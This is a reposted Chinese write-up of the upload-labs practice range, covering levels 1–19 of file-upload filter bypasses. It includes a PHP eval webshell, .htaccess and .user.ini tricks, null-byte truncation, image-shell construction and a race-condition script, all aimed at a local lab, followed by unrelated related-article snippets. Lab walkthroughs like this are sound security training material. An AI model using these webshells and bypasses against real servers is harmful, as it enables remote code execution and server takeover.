upload-labs-master靶场训练笔记

news2024/12/23 13:43:03

2004.2.17

level-1

(前端验证) 

新建一个写有下面一句话木马的php文件,然后把后缀改为png

<?php @eval($_POST["abc"]); ?>

用bp抓包后更改文件后缀为php

再用蚁剑等工具链接即可拿下shell

 

level-2 

(后端验证) 

相较于level-1,后端验证可以直接传入php文件再更改Content-Type类型为image/png

(当然level-1的操作也是可以用的) 

 

后面的链接操作和level-1一样 

level-3

 (黑名单 - phtml绕过)

这里我用新版的小皮没有实现,然后给小皮降了版本后就可以了,用的是phpstudy2018

(具体原因未查明(懒癌晚期绝症患者),猜测是Apache的版本原因,或者是小皮的一些配置文件不一样) 

如图所示,打开 Apache 的配置文件

用 ctrl+f 找到 AddType application/x-httpd-php .php .phtml 并把前面的 # 删掉

保存重启一下,这下就可以解析 .phtml 的文件了

为了方便起见(别问,问就是懒╮(๑•́ ₃•̀๑)╭),后面都用<?php phpinfo(); ?>的一句话木马作为演示

<?php phpinfo(); ?>

修改文件后缀为.phtml,然后上传文件,并打开图片

出现如图界面即为成功

level-4

(黑名单 - htaccess绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf

这些后缀名的文件,那我们可以用 .htaccess 的文件去绕过

在黑盒测试中,可以使用bp爆破来分析哪些文件没被过滤

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阴止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

要使htaccess文件生效需要在Apache 的配置文件中设置 AllowOverride为All(默认是All)

创建一个名字为.htaccess的文件

Ps:如果电脑报错,可以尝试bp抓包时修改

.htaccess

写入可以将后来文件以php文件解释的内容 

SetHandler application/x-httpd-php

然后先上传.htaccess文件,在上传后缀是.png内容是一句话木马的文件

然后打开图片即可

level-5

(黑名单 - .user.ini 绕过)

我用php 5.4.45有问题,先改到 php 5.3.29 

然后修改php的配置文件

修改 user_ini.cache_ttl 后面的数字,后面的数字代表传入文件后相应的秒数,比如300的话,传入木马文件后得等300s才能执行

先上传一个以auto_prepend_file=text.png(等号后面的名字可自定义)为内容的.user.ini文件【用户自定义的配置文件】。

.user.ini文件里的意思是:所有的php文件都自动包含text.png文件,.user.ini相当于一个用户自定义的php.ini。

auto_prepend_file=text.png

然后再上传一个内容为一句话木马的命名为text.png的文件 

然后再查看readme.php文件(自带的文件) ,就可以执行刚才的木马文件

level-6

(黑名单 - 大小写绕过)

这次禁止了

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini 

这些后缀名的文件,但是没有强制转换为小写的代码,那我们可以用 .phP 的文件去绕过 

用bp抓包后修改文件名 

如果出现如下错误,是php版本的问题,php5.4.45是没问题的

level-7

(黑名单 - 空格绕过)

 Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Bp截断HTTP请求,修改对应的文件名并添加空格

bp抓包后在文件后缀后面添加空格

level-8

(黑名单 - 点号绕过)

 原理和空格绕过类似

bp抓包后在文件后缀后面添加 .

level-9

(黑名单 - ::$DATA绕过) 

windows环境中,如果文件名+ ::$DATA 会把之后的数据当成文件流处理(相当于注释),不会检测后缀名.且保持 ::$DATA 之前的文件名

查看时去掉后面的 ::$DATA ,否则会403

level-10

(路径拼接绕过) 

没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:test.php.+空格+.
deldot删除最后一个点后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.利用Windows自动去除最后一个点,导致成功上传1.php

抓包修改文件后缀为.php. .

level-11

(双写绕过)

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)(只替换一次)

该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。

Ps:

  • 该函数不区分大小写。可以使用 str_replace() 函数来执行区分大小写的搜索
  • 该函数是二进制安全的

说白了就是后缀改为.pphphp 

level-12

(白名单 - GET型%00绕过)

00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

Ps:

在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与magic_quotes_gpc,addslashes函数

先将版本降至 5.2.17

再取消勾选 magic_quotes_gpc

 然后重启一下

在上传带有木马的php文件,然后如图修改 

最后访问文件

level-13

(白名单 - POST型%00绕过)

 上传带有木马的php文件,然后如图修改

 然后再16进制中修改刚才随便加的字符的16进制码为00

 

然后放包即可 

level-14

(文件包含)

图片Webshell制作

先准备一张正常的图片和一个带有木马的php文件

然后可以通过cmd制作图片马

copy 1.png /b + test.php /a test.png

通过记事本打开刚刚制作的test.png,划到最下面可以看到写入的一句话木马

然后上传图片后点击文件包含漏洞的文字可以转跳到带有文件包含漏洞的界面

通过复制图片链接可以知道文件的名字,然后如图拼接url可以实现漏洞的利用 

http://127.0.0.1/upload-labs-master/include.php?file=upload/4620240220064505.png

level-15

(文件包含)

 和level-14不同的是,level-14只检测了文件头,而level-15这是用了getimagesize()监测图像的大小和格式,只是检测方式不同,level-14做出的图片马依旧可以通过本关

level-16

(文件包含)

依然是检测方式的不同,源码使用了 exif_imagetype 函数所以要开启php_exif拓展

后续操作和level-14一模一样

level-17

(二次渲染)

所谓的二次渲染简单讲就是上传一张图片,服务器会对图片进行压缩,然后我们通过比较压缩前后的文件找到没被压缩的地方,并把那个地方替换成一句话木马,再上传来绕过的操作

最好找相同地方的文件就是gif了(我绝对不会说因为这个人太菜了而找不到png文件相同的地方的事实>_<|||) 

所以我们选用gif图片来演示 

制作gif图片马的方式和制作png图片马的方式一样

上传图片后,保存新的图片 

放入编码器(我用的是010 editor)中可以看到经过渲染,把原本的木马语句变没了

然后可以看到图中框选的区域就是压缩前后保持一样的地方

现在开始对test.gif进行操作,因为一句话木马是<?php phpinfo();?>所以字节码是

3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E

注意这里3C对的是C列,3E对的是E列,后面粘贴时的起始位和结束位要对上

然后在刚才找到的没被压缩的地方截取一段(列数对上就行)替换成刚才的木马的字节码

然后再重新上传修改后的图片即可

level-18

(条件竞争)

先代码审计 

条件竞争就是赶在系统删除文件之前,运行木马文件,这样及使木马文件被删除了,运行的结果也已经被保留了

这里对木马文件进行更改,使其被执行后会生成一个名为success.php内容为<?php phpinfo();?>');?>的木马文件

<?php fwrite(fopen('success.php','w'),'<?php phpinfo();?>');?>

然而手动去竞争肯定是不太现实的,成功率太低了,要用魔法来打败魔法

先利用bp进行循环发送木马文件

在攻击模块中设置成无限循环,这样就可以一直发送木马文件

然后用python脚本进行访问文件

import requests
url = "http://127.0.0.1/upload-labs-master/upload/666.php"
print("开始")
while True:
    res = requests.get(url)
    if res.status_code == 200:
        print("成功")
        break

成功后就成功了

level-19

(条件竞争)

利用图片木马结合文件包含,并且要在图片马被删除之前访问到它与level-18类似

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1551513.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Java基本数据结构(基于jdk11)

java中有很多数据类型&#xff0c;以下数据类型都出于java.util包下且日常经常使用的&#xff0c;先介绍一下接口&#xff0c;接口可以很快的了解到这个数据结构的特性。 接口 List: 有序队列&#xff0c;如&#xff1a;ArrayList、LinkedList Deque&#xff1a;双端队列&am…

Ruoyi-Cloud-Plus_使用Docker部署分布式微服务系统---SpringCloud工作笔记200

1.首先安装docker: 如果以前安装过首先执行: yum remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine 去卸载docker 2.安装dokcer需要的工具包…

HarmonyOS入门--ArkTS--基本语法

文章目录 ArkTSArkTS声明式开发范式的基本组成基本语法声明式UI创建组件配置属性配置事件配置子组件 自定义组件基本结构成员函数/变量build()函数自定义组件通用样式自定义组件的创建和渲染流程自定义组件重新渲染自定义组件的删除 Builder装饰器全局自定义构建函数组件内部的…

MySQL数据库 - 复杂查询(一)

一个不知名大学生&#xff0c;江湖人称菜狗 original author: Jacky Li Email : 3435673055qq.com Time of completion&#xff1a;2024.03.27 Last edited: 2024.03.27 目录 MySQL数据库 - 复杂查询&#xff08;一&#xff09; 第1关&#xff1a;交换工资 任务描述 相关知…

【论文阅读】Faster Neural Networks Straight from JPEG

Faster Neural Networks Straight from JPEG 论文链接&#xff1a;Faster Neural Networks Straight from JPEG (neurips.cc) 作者&#xff1a;Lionel Gueguen&#xff0c;Alex Sergeev&#xff0c;Ben Kadlec&#xff0c;Rosanne Liu&#xff0c;Jason Yosinski 机构&#…

什么是RISC-V?开源 ISA 如何重塑未来的处理器设计

RISC-V代表了处理器架构的范式转变&#xff0c;特点是其开源模型简化了设计理念并促进了全球community-driven的开发。RISC-V导致了处理器技术发展前进方式的重大转变&#xff0c;提供了一个不受传统复杂性阻碍的全新视角。 RISC-V起源于加州大学伯克利分校的学术起点&#xff…

降分违规?90%新手会遇到的抖音小店运营问题!解决方法快围观!

哈喽~我是电商月月 今天我们聊聊新手开抖音小店会遇到的问题以及解决方法 为了完整性我们从头到尾分析&#xff0c;根据情况不同可自行翻阅 一&#xff0c;入驻和运营时的操作问题 1.营业执照的办理&#xff0c;选择&#xff0c;填写 营业执照的办理可以去当地工商局办理&…

Redis、Mysql双写情况下,如何保证数据一致

Redis、Mysql双写情况下&#xff0c;如何保证数据一致 场景谈谈数据一致性三个经典的缓存模式Cache-Aside Pattern读流程写流程 Read-Through/Write-Through&#xff08;读写穿透&#xff09;Write behind &#xff08;异步缓存写入&#xff09; 操作缓存的时候&#xff0c;删除…

智慧公厕,为智慧城市建设注入了新的活力

随着智慧城市的快速发展&#xff0c;公共厕所不再是简单的功能设施&#xff0c;而是成为了提升城市形象、改善民生服务的重要一环。智慧公厕作为新形态的公共厕所&#xff0c;通过精准监测公厕内部的人体活动状态、人体存在状态、空气质量情况、环境变化情况、设施设备运行状态…

如何在CentOS使用Docker搭建MinIO容器并实现无公网ip远程访问本地服务

文章目录 前言1. Docker 部署MinIO2. 本地访问MinIO3. Linux安装Cpolar4. 配置MinIO公网地址5. 远程访问MinIO管理界面6. 固定MinIO公网地址 前言 MinIO是一个开源的对象存储服务器&#xff0c;可以在各种环境中运行&#xff0c;例如本地、Docker容器、Kubernetes集群等。它兼…

vue3 引入svg 图片的详细方法

我们都知道 svg 文件比图片小的多&#xff0c;可以节省很多空间&#xff0c;这对页面性能来说是个很大的提升。 下面介绍一下 vue3 项目中使用 svg 的详细方法&#xff1a; &#xff08;1&#xff09;安装依赖插件 npm install vite-plugin-svg-icons -D&#xff08;2&#x…

基于GIS、python机器学习技术的地质灾害风险评价与信息化建库

入门篇&#xff0c;ArcGIS软件的快速入门与GIS数据源的获取与理解&#xff1b;方法篇&#xff0c;致灾因子提取方法、灾害危险性因子分析指标体系的建立方法和灾害危险性评价模型构建方法&#xff1b;拓展篇&#xff0c;GIS在灾害重建中的应用方法&#xff1b;高阶篇&#xff1…

数字化转型核心 数据治理神器Hadoop 生态介绍HDFS、Yarn以及HBase/Hive

大数据Hadoop 生态的三大部件的目录 往期热门专栏回顾前言1、HDFS2、Yarn3、Hive4、HBase4.1&#xff0e;特点4.2&#xff0e;存储 5、Spark及Spark Streaming关于作者 往期热门专栏回顾 专栏描述Java项目实战介绍Java组件安装、使用&#xff1b;手写框架等Aws服务器实战Aws L…

BioXcell InVivoPlus anti-mouse Ly6G及部分参考文献

BioXcell InVivoPlus anti-mouse Ly6G 1A8单克隆抗体与小鼠Ly6G反应。Ly6G分子量为21-25kDa&#xff0c;是GPI锚定的细胞表面蛋白Ly-6超家族的成员&#xff0c;在细胞信号传导和细胞粘附中发挥作用。Ly6G在发育过程中由骨髓谱系中的细胞&#xff08;包括单核细胞、巨噬细胞、粒…

Edge浏览器控制台(F12)中网络不显示接口信息

&#x1f413;情况描述 点击页面接口&#xff0c;控制台中网络选项中无法显示其接口信息 &#x1f413;问题解决 1.查看接口是否开启筛选&#xff0c;如果开启更改为全部即可 2.如果非上述情况&#xff0c;则可能是浏览器配置的问题&#xff0c;将浏览器配置可能有所变动 将浏…

【CASS精品教程】CASS添加标准图幅(50×50cm+50×40cm)

大比例尺地形图图幅一般分为正方形和矩形分幅两种,本文讲解CASS中添加标准图幅(5050cm、5040cm)的方法。 文章目录 一、CASS参数配置二、添加标准图幅(5050cm)三、添加标准图幅(5040cm)打开基于CASS自带案例数据study.dat绘制好的地形图study.dwg,如下图所示,下面来演示两种…

需求生命周期管理

背景 回顾很多项目或者产品&#xff0c;我们发现现在的版本和当初的理解或者设想是天壤之别&#xff0c;这是什么原因&#xff0c;对于这种情况又应该如何处理呢&#xff1f; 业务分析的交付物是需求文档&#xff0c;业务分析整个过程随着对业务的逐步深入&#xff0c;观察视…

基于Java在线考试系统系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…

推荐几个python的工具

Beautiful Soup Beautiful Soup用于清理和提取HTML和XLM中的数据。 它用于解析HTML文本&#xff0c;并允许数据科学家将文本数据转换为结构化数据&#xff0c;只需几行代码&#xff0c;就可以提取复杂的HTML数据。在某些情况下&#xff0c;您只需要一个表标签&#xff0c;并且…

后端前行Vue之路(一):初识Vue

1.Vue是什么 Vue (读音 /vjuː/&#xff0c;类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是&#xff0c;Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层&#xff0c;不仅易于上手&#xff0c;还便于与第三方库或既有项目整合。另一方…